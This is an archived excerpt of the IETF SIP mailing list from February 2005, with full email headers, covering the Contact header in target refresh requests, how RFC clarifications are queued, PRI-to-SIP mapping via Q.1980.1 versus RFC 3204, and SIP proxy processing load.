sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 12:26:15 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA18033 for ; Thu, 3 Feb 2005 12:26:15 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwl2o-0005sO-Pe for sip-web-archive@ietf.org; Thu, 03 Feb 2005 12:45:32 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwkUZ-0004Hr-Dy; Thu, 03 Feb 2005 12:10:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwkDc-0006tX-36 for sip@megatron.ietf.org; Thu, 03 Feb 2005 11:52:36 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14555 for ; Thu, 3 Feb 2005 11:52:33 -0500 (EST) Received: from ihemail1.lucent.com ([192.11.222.161]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwkWD-0004eH-GR for sip@ietf.org; Thu, 03 Feb 2005 12:11:49 -0500 Received: from oh0012exch001p.wins.lucent.com (h135-7-157-6.lucent.com [135.7.157.6]) by ihemail1.lucent.com (8.12.11/8.12.11) with ESMTP id j13Gq37g017048 for ; Thu, 3 Feb 2005 10:52:03 -0600 (CST) Received: by OH0012EXCH001P with Internet Mail Service (5.5.2657.72) id ; Thu, 3 Feb 2005 11:52:02 -0500 Message-ID: <4C37CF2D8DF07E4CA6357BAD5EB9A5D7189FC313@oh0012exch004u.cb.lucent.com> From: "Shekar, Nagesh Soma (Shekar)** CTR **" To: "'Robert Sparks'" , "Shekar, Nagesh Soma (Shekar)** CTR **" Subject: RE: [Sip] Requests within SIP Dialog and Contact Header Date: Thu, 3 Feb 2005 11:51:59 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Scan-Signature: 73734d43604d52d23b3eba644a169745 Cc: sip@ietf.org, "'Brett Tate'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b5d20af10c334b36874c0264b10f59f1 Is there way to get a consolidated list of pending changes for a particular RFC. It appears that the window between a RFC baseline and an update can be quite long, how do implementations typically take into consideration the changes pending for an RFC. Nagesh Shekar. > -----Original Message----- > From: Robert Sparks [mailto:rjsparks@nostrum.com] > Sent: Thursday, February 03, 2005 11:35 AM > To: Shekar, Nagesh Soma (Shekar)** CTR ** > Cc: 'Brett Tate'; sip@ietf.org > Subject: Re: [Sip] Requests within SIP Dialog and Contact Header > > > REFER is also a target refresh request, and a similar bug has been > posted against 3515 for clarification. > > To your last question: You can't change RFCs once they are published. > You can issue new RFCs that update older ones. We queue these > clarifications > up in our bug database until it is appropriate to issue an updating > RFC. Whenever > possible, we mention those clarifications when they affect other new > work. > > RjS > > On Feb 2, 2005, at 2:10 PM, Shekar, Nagesh Soma (Shekar)** > CTR ** wrote: > > > Brett, > > > > Thanks for the clarification, if the NOTIFY is expected > > to be a target refresh request, then it makes sense > > that the Contact Header be mandatory. Unfortunately, > > there are some implementations that do not include Contact > > Header in NOTIFY messages (Ex. Pingtel Instant xpressa). > > > > I am assuming that the bug is still not fixed. How does the > > bug fixing process work with RFCs, will there be a draft that > > will have the bug fixes. > > > > Nagesh Shekar. > > > >> -----Original Message----- > >> From: Brett Tate [mailto:brett@broadsoft.com] > >> Sent: Wednesday, February 02, 2005 1:17 PM > >> To: 'Shekar, Nagesh Soma (Shekar)** CTR **'; sip@ietf.org > >> Subject: RE: [Sip] Requests within SIP Dialog and Contact Header > >> > >> > >>> The Contact header is defined as a Mandatory > >>> Header in some of Request messages, > >>> like NOTIFY as a mandatory header. > >>> > >>> I am trying to understand if this is required > >>> for SIP header like Contact to be mandatory > >>> in SIP requests that are sent in a dialog that > >>> is already setup with a INVITE transaction. > >>> If it is required, then what is the intent of > >>> making it Mandatory and how it should be used. > >> > >> The Contact was made mandatory in some requests (NOTIFY, > >> SUBSCRIBE, INVITE) > >> to help with dialog establishment and dialog recovery. > >> > >> NOTIFY, SUBSCRIBE, INVITE, and UPDATE are target refresh requests. > >> > >> Thus a Contact change in these requests indicate an > attempt update the > >> dialog. > >> > >> http://www.sipwg.org/show_bug.cgi?id=699 > >> > >> http://www1.ietf.org/mail-archive/web/sip/current/msg06960.html > >> > >> > >> > > > > _______________________________________________ > > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > > This list is for NEW development of the core SIP Protocol > > Use sip-implementors@cs.columbia.edu for questions on current sip > > Use sipping@ietf.org for new developments on the application of sip > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 12:28:21 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA18210 for ; Thu, 3 Feb 2005 12:28:21 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwl4q-0005vV-1A for sip-web-archive@ietf.org; Thu, 03 Feb 2005 12:47:38 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwkUh-0004PK-TV; Thu, 03 Feb 2005 12:10:15 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwkJG-0000Js-CQ for sip@megatron.ietf.org; Thu, 03 Feb 2005 11:58:26 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA15064 for ; Thu, 3 Feb 2005 11:58:23 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwkbr-0004qw-OH for sip@ietf.org; Thu, 03 Feb 2005 12:17:40 -0500 Received: from [192.168.0.103] (c-24-1-68-89.client.comcast.net [24.1.68.89]) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j13GwG9g079188 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Thu, 3 Feb 2005 10:58:17 -0600 (CST) (envelope-from rjsparks@nostrum.com) In-Reply-To: <4C37CF2D8DF07E4CA6357BAD5EB9A5D7189FC313@oh0012exch004u.cb.lucent.com> References: <4C37CF2D8DF07E4CA6357BAD5EB9A5D7189FC313@oh0012exch004u.cb.lucent.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Robert Sparks Subject: Re: [Sip] Requests within SIP Dialog and Contact Header Date: Thu, 3 Feb 2005 10:58:15 -0600 To: "Shekar, Nagesh Soma (Shekar)** CTR **" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Scan-Signature: 14582b0692e7f70ce7111d04db3781c8 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org, "'Brett Tate'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 1a1bf7677bfe77d8af1ebe0e91045c5b Content-Transfer-Encoding: 7bit Right now the best way is to browse the bug database at bugs.sipit.net (aka www.sipwg.org). RjS On Feb 3, 2005, at 10:51 AM, Shekar, Nagesh Soma (Shekar)** CTR ** wrote: > Is there way to get a consolidated list of pending changes > for a particular RFC. It appears that the window between > a RFC baseline and an update can be quite long, how > do implementations typically take into consideration the > changes pending for an RFC. > > Nagesh Shekar. > >> -----Original Message----- >> From: Robert Sparks [mailto:rjsparks@nostrum.com] >> Sent: Thursday, February 03, 2005 11:35 AM >> To: Shekar, Nagesh Soma (Shekar)** CTR ** >> Cc: 'Brett Tate'; sip@ietf.org >> Subject: Re: [Sip] Requests within SIP Dialog and Contact Header >> >> >> REFER is also a target refresh request, and a similar bug has been >> posted against 3515 for clarification. >> >> To your last question: You can't change RFCs once they are published. >> You can issue new RFCs that update older ones. We queue these >> clarifications >> up in our bug database until it is appropriate to issue an updating >> RFC. Whenever >> possible, we mention those clarifications when they affect other new >> work. >> >> RjS >> >> On Feb 2, 2005, at 2:10 PM, Shekar, Nagesh Soma (Shekar)** >> CTR ** wrote: >> >>> Brett, >>> >>> Thanks for the clarification, if the NOTIFY is expected >>> to be a target refresh request, then it makes sense >>> that the Contact Header be mandatory. Unfortunately, >>> there are some implementations that do not include Contact >>> Header in NOTIFY messages (Ex. Pingtel Instant xpressa). >>> >>> I am assuming that the bug is still not fixed. How does the >>> bug fixing process work with RFCs, will there be a draft that >>> will have the bug fixes. >>> >>> Nagesh Shekar. >>> >>>> -----Original Message----- >>>> From: Brett Tate [mailto:brett@broadsoft.com] >>>> Sent: Wednesday, February 02, 2005 1:17 PM >>>> To: 'Shekar, Nagesh Soma (Shekar)** CTR **'; sip@ietf.org >>>> Subject: RE: [Sip] Requests within SIP Dialog and Contact Header >>>> >>>> >>>>> The Contact header is defined as a Mandatory >>>>> Header in some of Request messages, >>>>> like NOTIFY as a mandatory header. >>>>> >>>>> I am trying to understand if this is required >>>>> for SIP header like Contact to be mandatory >>>>> in SIP requests that are sent in a dialog that >>>>> is already setup with a INVITE transaction. >>>>> If it is required, then what is the intent of >>>>> making it Mandatory and how it should be used. >>>> >>>> The Contact was made mandatory in some requests (NOTIFY, >>>> SUBSCRIBE, INVITE) >>>> to help with dialog establishment and dialog recovery. >>>> >>>> NOTIFY, SUBSCRIBE, INVITE, and UPDATE are target refresh requests. >>>> >>>> Thus a Contact change in these requests indicate an >> attempt update the >>>> dialog. >>>> >>>> http://www.sipwg.org/show_bug.cgi?id=699 >>>> >>>> http://www1.ietf.org/mail-archive/web/sip/current/msg06960.html >>>> >>>> >>>> >>> >>> _______________________________________________ >>> Sip mailing list https://www1.ietf.org/mailman/listinfo/sip >>> This list is for NEW development of the core SIP Protocol >>> Use sip-implementors@cs.columbia.edu for questions on current sip >>> Use sipping@ietf.org for new developments on the application of sip >> _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 18:43:00 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07467 for ; Thu, 3 Feb 2005 18:43:00 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwqvR-0004L4-K0 for sip-web-archive@ietf.org; Thu, 03 Feb 2005 19:02:20 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwqU2-0003mh-Hy; Thu, 03 Feb 2005 18:33:58 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwqMf-0001Yd-1V for sip@megatron.ietf.org; Thu, 03 Feb 2005 18:26:21 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06211 for ; Thu, 3 Feb 2005 18:26:10 -0500 (EST) Received: from zcars04e.nortelnetworks.com ([47.129.242.56]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwqfB-0003rk-Cf for sip@ietf.org; Thu, 03 Feb 2005 18:45:30 -0500 Received: from zcard303.ca.nortel.com (zcard303.ca.nortel.com [47.129.242.59]) by zcars04e.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id j13NPCk29450; Thu, 3 Feb 2005 18:25:12 -0500 (EST) Received: from [47.140.53.17] (artpt5un.us.nortel.com [47.140.53.17]) by zcard303.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id W14F5XWJ; Thu, 3 Feb 2005 18:25:13 -0500 Message-ID: <4202B2D9.10506@nortel.com> Date: Thu, 03 Feb 2005 15:25:13 -0800 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: Tom Taylor User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Takuya Sawada Subject: Re: [Sipforum-discussion] Re: [Sip] pri and sip mapping issue References: <60BBB1231E9EA443BD400F30A47C0A7026A181@asbmail1.sbell.com.cn> <070601c50973$384963f0$2464a8c0@dsmsystems.local> <200502032236.DGC58161.TBX-UBBVE@kddi.com> In-Reply-To: <200502032236.DGC58161.TBX-UBBVE@kddi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 Content-Transfer-Encoding: 7bit Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: a7d6aff76b15f3f56fcb94490e1052e4 Content-Transfer-Encoding: 7bit Q.1980.1 is text-encoded international ISUP. In other words, it is an alternative to RFC 3204 binary ISUP encapsulation. Since the question was about PRI rather thyan ISUP, neither Q.1980.1 nor RFC 3204 is a direct answer. Takuya Sawada wrote: > Hi, > > >>>1)user to user infomation >> >>[PTT] To carry the information itself, the obvious method is to add a body of >>type application/octet-stream. The issue comes in how to signal the service -- >>especially, how to indicate what that body is for. > > > I think one possible solution is to use ITU-T Q.1980.1. > MIME type will be the following; > > Content-Type: application/nss > Content-Disposition: signal > > The problem of this solution is that Q.1980.1 is not so popular, I think. > > Am I correct? > > Regards, > Takuya > [snip] -- Tom Taylor Carrier VoIP Standards Development Nortel Phone +1 613 763 1496 (ESN 393-1496) E-mail: taylor@nortel.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 19:44:50 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12309 for ; Thu, 3 Feb 2005 19:44:49 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwrtJ-0005yP-Ui for sip-web-archive@ietf.org; Thu, 03 Feb 2005 20:04:11 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwrQw-0005tB-6n; Thu, 03 Feb 2005 19:34:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwrLI-0004h8-GX for sip@megatron.ietf.org; Thu, 03 Feb 2005 19:29:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11376 for ; Thu, 3 Feb 2005 19:28:57 -0500 (EST) Received: from usjk1002.kddi.com ([211.4.169.18]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwrdw-0005ZA-Oe for sip@ietf.org; Thu, 03 Feb 2005 19:48:18 -0500 Received: from usjk1005.kddi.com (usjk1005 [10.96.2.2]) by usjk1002.kddi.com with ESMTP id j140SLj03692; Fri, 4 Feb 2005 09:28:21 +0900 (JST) Received: from usjk1039 (localhost [127.0.0.1]) by usjk1005.kddi.com with SMTP id j140SK618296; Fri, 4 Feb 2005 09:28:20 +0900 (JST) Received: from KDDI-0303PC1181 ([10.100.94.32]) by usjk1009.kddi.com (InterMail vM.5.01.02.00 201-253-116-121-20001201) with ESMTP id <20050204002819.FWXP24157.usjk1009.kddi.com@KDDI-0303PC1181>; Fri, 4 Feb 2005 09:28:19 +0900 To: taylor@nortel.com, tu-sawada@kddi.com Subject: Re: [Sipforum-discussion] Re: [Sip] pri and sip mapping issue From: Takuya Sawada References: <60BBB1231E9EA443BD400F30A47C0A7026A181@asbmail1.sbell.com.cn> <070601c50973$384963f0$2464a8c0@dsmsystems.local> <200502032236.DGC58161.TBX-UBBVE@kddi.com> <4202B2D9.10506@nortel.com> In-Reply-To: <4202B2D9.10506@nortel.com> Message-Id: <200502040928.GGJ81174.BXUV-EBBT@kddi.com> X-Mailer: Winbiff [Version 2.42 PL2] X-Accept-Language: ja,en Date: Fri, 4 Feb 2005 09:28:19 +0900 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-WAuditID: 0502040928170000217968 X-Spam-Score: 0.0 (/) X-Scan-Signature: 92df29fa99cf13e554b84c8374345c17 Cc: sip@ietf.org, sipforum-discussion@lists.su.se X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 0fa76816851382eb71b0a882ccdc29ac Hi, In my understanding, the main difference between Q.1980.1 and RFC 3204, other than format, is that the former allows partial message contents and the latter only allows the whole complete message. PRI gateway can not know how to construct the whole ISUP message which is required to use RFC 3204. It can only know end-to-end information like UUI or HLC/LLC, which is conveyed in ATP parameter in ISUP. Then I think it may be useful for PRI gateway to set UUI infomation in Q.1980.1 message body to carry it to the peer or the ISUP gateway, theoretically. * Should we move this discussion to sipping, if it continues? or stop it now (as it is not an IETF work)? Regards, Takuya > Q.1980.1 is text-encoded international ISUP. In other words, it is an alternative > to RFC 3204 binary ISUP encapsulation. Since the question was about PRI rather > thyan ISUP, neither Q.1980.1 nor RFC 3204 is a direct answer. > > Takuya Sawada wrote: > > Hi, > > > > > >>>1)user to user infomation > >> > >>[PTT] To carry the information itself, the obvious method is to add a body of > >>type application/octet-stream. The issue comes in how to signal the service -- > >>especially, how to indicate what that body is for. > > > > > > I think one possible solution is to use ITU-T Q.1980.1. > > MIME type will be the following; > > > > Content-Type: application/nss > > Content-Disposition: signal > > > > The problem of this solution is that Q.1980.1 is not so popular, I think. > > > > Am I correct? > > > > Regards, > > Takuya > > > [snip] > > -- > Tom Taylor > Carrier VoIP Standards Development > Nortel > Phone +1 613 763 1496 (ESN 393-1496) > E-mail: taylor@nortel.com > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip -------- Takuya Sawada KDDI Corporation (KDDI) Garden Air Tower, 3-10-10, Iidabashi, Chiyoda-ku, Tokyo 102-8460, Japan Tel: +81-3-6678-2997 Fax: +81-3-6678-0286 tu-sawada@kddi.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 3 19:47:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12670 for ; Thu, 3 Feb 2005 19:47:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwrw0-000657-Iu for sip-web-archive@ietf.org; Thu, 03 Feb 2005 20:06:56 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwrQx-0005tP-Ka; Thu, 03 Feb 2005 19:34:51 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwrPu-0005Yg-Fk for sip@megatron.ietf.org; Thu, 03 Feb 2005 19:33:46 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11748 for ; Thu, 3 Feb 2005 19:33:43 -0500 (EST) Received: from ptb-relay03.plus.net ([212.159.14.214]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwriZ-0005hM-Lx for sip@ietf.org; Thu, 03 Feb 2005 19:53:04 -0500 Received: from [212.159.34.46] (helo=dsmsystems.co.uk) by ptb-relay03.plus.net with esmtp (Exim) id 1Cwrho-0006c8-Oa; Fri, 04 Feb 2005 00:52:17 +0000 Received: from mail pickup service by dsmsystems.co.uk with Microsoft SMTPSVC; Fri, 4 Feb 2005 00:32:51 +0000 thread-index: AcUKUQz58BwV8KFRSoOsVsHaQv0Wpw== Delivered-To: mi_plusn-millner-justin@dsm.uk.com X-Original-To: sipforum-discussion@lists.su.se Delivered-To: sipforum-discussion@lists.su.se To: Message-ID: <000001c50a51$0d94a000$2464a8c0@dsmsystems.local> Subject: Re: [Sipforum-discussion] Re: [Sip] pri and sip mapping issue Content-Transfer-Encoding: 7bit From: "Takuya Sawada" References: <60BBB1231E9EA443BD400F30A47C0A7026A181@asbmail1.sbell.com.cn><070601c50973$384963f0$2464a8c0@dsmsystems.local><200502032236.DGC58161.TBX-UBBVE@kddi.com><4202B2D9.10506@nortel.com> In-Reply-To: <4202B2D9.10506@nortel.com> X-Mailer: Winbiff [Version 2.42 PL2] X-Accept-Language: ja,en MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-WAuditID: 0502040928170000217968 X-Virus-Scanned: by amavisd-new at av-in.su.se X-Spam-Status: No, hits=-2.569 tagged_above=-99 required=7 tests=AWL, BAYES_00 X-BeenThere: sipforum-discussion@lists.su.se X-Mailman-Version: 2.0.13 Precedence: bulk Content-Class: urn:content-classes:message List-Archive: Importance: normal Priority: normal Date: Fri, 4 Feb 2005 00:32:47 -0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181 X-OriginalArrivalTime: 04 Feb 2005 00:32:51.0906 (UTC) FILETIME=[0F86FA20:01C50A51] X-Spam-Score: 0.5 (/) X-Scan-Signature: d8ae4fd88fcaf47c1a71c804d04f413d Content-Transfer-Encoding: 7bit Cc: sip@ietf.org, sipforum-discussion@lists.su.se X-BeenThere: sip@ietf.org List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.2 (/) X-Scan-Signature: d185fa790257f526fedfd5d01ed9c976 Content-Transfer-Encoding: 7bit Hi, In my understanding, the main difference between Q.1980.1 and RFC 3204, other than format, is that the former allows partial message contents and the latter only allows the whole complete message. PRI gateway can not know how to construct the whole ISUP message which is required to use RFC 3204. It can only know end-to-end information like UUI or HLC/LLC, which is conveyed in ATP parameter in ISUP. Then I think it may be useful for PRI gateway to set UUI infomation in Q.1980.1 message body to carry it to the peer or the ISUP gateway, theoretically. * Should we move this discussion to sipping, if it continues? or stop it now (as it is not an IETF work)? Regards, Takuya > Q.1980.1 is text-encoded international ISUP. In other words, it is an alternative > to RFC 3204 binary ISUP encapsulation. Since the question was about PRI rather > thyan ISUP, neither Q.1980.1 nor RFC 3204 is a direct answer. > > Takuya Sawada wrote: > > Hi, > > > > > >>>1)user to user infomation > >> > >>[PTT] To carry the information itself, the obvious method is to add a body of > >>type application/octet-stream. The issue comes in how to signal the service -- > >>especially, how to indicate what that body is for. > > > > > > I think one possible solution is to use ITU-T Q.1980.1. > > MIME type will be the following; > > > > Content-Type: application/nss > > Content-Disposition: signal > > > > The problem of this solution is that Q.1980.1 is not so popular, I think. > > > > Am I correct? > > > > Regards, > > Takuya > > > [snip] > > -- > Tom Taylor > Carrier VoIP Standards Development > Nortel > Phone +1 613 763 1496 (ESN 393-1496) > E-mail: taylor@nortel.com > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip -------- Takuya Sawada KDDI Corporation (KDDI) Garden Air Tower, 3-10-10, Iidabashi, Chiyoda-ku, Tokyo 102-8460, Japan Tel: +81-3-6678-2997 Fax: +81-3-6678-0286 tu-sawada@kddi.com ------ To unsubscribe from the Sipforum-discussion mailing list visit https://mbox.su.se/mailman/listinfo/sipforum-discussion _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 4 04:05:38 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04304 for ; Fri, 4 Feb 2005 04:05:38 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwzi2-0002Kt-Fr for sip-web-archive@ietf.org; Fri, 04 Feb 2005 04:25:02 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwzNT-0002Y4-Pm; Fri, 04 Feb 2005 04:03:47 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwzMJ-0001pe-71 for sip@megatron.ietf.org; Fri, 04 Feb 2005 04:02:35 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04150 for ; Fri, 4 Feb 2005 04:02:32 -0500 (EST) Received: from penguin.ericsson.se ([193.180.251.47]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwzf2-0002G6-1l for sip@ietf.org; Fri, 04 Feb 2005 04:21:57 -0500 Received: from esealmw128.eemea.ericsson.se ([153.88.254.121]) by penguin.ericsson.se (8.12.10/8.12.10/WIREfire-1.8b) with ESMTP id j1491Jjd015960 for ; Fri, 4 Feb 2005 10:02:32 +0100 (MET) Received: from esealmw126.eemea.ericsson.se ([153.88.254.170]) by esealmw128.eemea.ericsson.se with Microsoft SMTPSVC(6.0.3790.211); Fri, 4 Feb 2005 10:02:31 +0100 Received: from lt.eth.ericsson.se ([159.107.193.10]) by esealmw126.eemea.ericsson.se with Microsoft SMTPSVC(6.0.3790.211); Fri, 4 Feb 2005 10:02:31 +0100 Received: from ericsson.com by lt.eth.ericsson.se (8.8.8+Sun/SMI-SVR4) id KAA04857; Fri, 4 Feb 2005 10:02:11 +0100 (MET) Message-ID: <42033A26.1090306@ericsson.com> Date: Fri, 04 Feb 2005 10:02:30 +0100 From: =?ISO-8859-1?Q?P=E9ter_Barta?= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: sip@ietf.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 04 Feb 2005 09:02:31.0494 (UTC) FILETIME=[4261CE60:01C50A98] X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Content-Transfer-Encoding: 7bit Subject: [Sip] processing bottleneck in proxy X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Content-Transfer-Encoding: 7bit Dear All, is there any experience/data regarding the processing load that comes from managing transport level connections (e.g., TCP, TLS states) and manipulating SIP messages in SIP proxies? Which is the dominant one? (I posted this question on the sip-implementors list, but there was no response) Best Regards Peter _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 4 15:51:31 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03307 for ; Fri, 4 Feb 2005 15:51:30 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CxAjC-0003OY-VP for sip-web-archive@ietf.org; Fri, 04 Feb 2005 16:11:02 -0500 Received: from localhost.localdomain 